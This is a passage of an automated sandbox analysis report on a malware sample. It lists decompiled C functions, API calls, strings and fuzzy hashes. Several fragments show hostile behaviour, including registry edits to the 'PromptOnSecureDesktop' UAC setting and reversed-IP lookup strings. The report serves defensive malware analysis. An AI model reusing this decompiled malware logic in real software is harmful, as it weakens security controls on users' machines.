Instruction Fuzzy Hash: 6F71D771900119BFDB119FA4CC849EEBBBAEB04354F1085AAF515E6290D7709E92DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00435DE5, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00435E76
_memset.LIBCMT ref: 00435F53
__invalid_parameter.LIBCMTD ref: 00435FC9

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: 4cf4fa5827bfd01df004f221def776403eba358042cc39d12fb215ba06ee1e20
Instruction ID: 6bb51d1e7f81dbb64965c369831d12104b9a771887fb83a4b0feaf99c4836046
Opcode Fuzzy Hash: 4cf4fa5827bfd01df004f221def776403eba358042cc39d12fb215ba06ee1e20
Instruction Fuzzy Hash: E0619470900209EFCF24CF59C945AAE7371FB48328F20D25AE9255B3D0C7799A41CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A751, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A805

Part of subcall function 00421270: __encode_pointer.LIBCMTD ref: 00421351

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 3f321baffc4c0b323b4eb357800ef472f3214d11260744091868e6c03f7fc255
Instruction ID: 5759d5c63e800abc475e4cfb8a2ea3c105ef29408f60e8b6ad8988ae59426ca0
Opcode Fuzzy Hash: 3f321baffc4c0b323b4eb357800ef472f3214d11260744091868e6c03f7fc255
Instruction Fuzzy Hash: 4F413831C09744D6CB12AB39EA0516EB7B0FF91344F50C77AF88861261EB38CA69D35B

Uniqueness

Uniqueness Score: -1.00%

Function 0042E790, Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042E7AA
_$I10_OUTPUT.LIBCMTD ref: 0042E7D2
_wcscpy_s.LIBCMTD ref: 0042E812

Part of subcall function 0041D900: __invalid_parameter.LIBCMTD ref: 0041D972

__invoke_watson_if_error.LIBCMTD ref: 0042E81B

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 92a77fed73808a3dad9ce31fe544d65dc6c2205318419c02929025bd6432db2f
Instruction ID: 8aadb95baa6510862318f19d7590f36bee88826ac8b8409b63e2fc1cb0fa0635
Opcode Fuzzy Hash: 92a77fed73808a3dad9ce31fe544d65dc6c2205318419c02929025bd6432db2f
Instruction Fuzzy Hash: 30214DB5A003089BCB04EF65DC42AEEB7B4EF4C704F148559F80567381E634E911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00634168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00634194
GetLastError.KERNEL32 ref: 0063419E
WaitForSingleObject.KERNEL32(?,?), ref: 006341AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 006341C2

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 3c933a746570ba1748f97d7ed05e155affc70c88cff0e2b9069f08790608a330
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: EA01D772511509ABDB01DF90ED44BEE7B7DFB19356F104061F901E2150DB70AAA48BA5

Uniqueness

Uniqueness Score: -1.00%

Function 006341DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00634208
GetLastError.KERNEL32 ref: 00634212
WaitForSingleObject.KERNEL32(?,?), ref: 00634223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00634236

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 46c62d87e6461f741f8bd93523ca446ad1db3a5193e335729f33768542a94b7b
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 19010872511109ABDF01DF90ED85BEF7BADFB08396F118061F901E2150DB70EA548BB6

Uniqueness

Uniqueness Score: -1.00%

Function 0063E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0063E04F

Strings

A, xrefs: 0063E01F
A, xrefs: 0063E020, 0063E025
A, xrefs: 0063E068

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: d5205180370997502d535fffd63aa364efbe4389c361701ab8f7283cb532e947
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 27F062716007069BCB34CF25D884AD6B7EAFB15321F44866AE164C32A0D3B5A9E4CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 0063E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,006344CB,00000000,00000000,00000000), ref: 0063E459
CloseHandle.KERNEL32(00000001,00000003), ref: 0063E46D

Part of subcall function 0063E2E5: RegCreateKeyExA.ADVAPI32(80000001,0063E4F3,00000000,00000000,00000000,00020106,00000000,0063E4F3,00000000,000000E4), ref: 0063E302
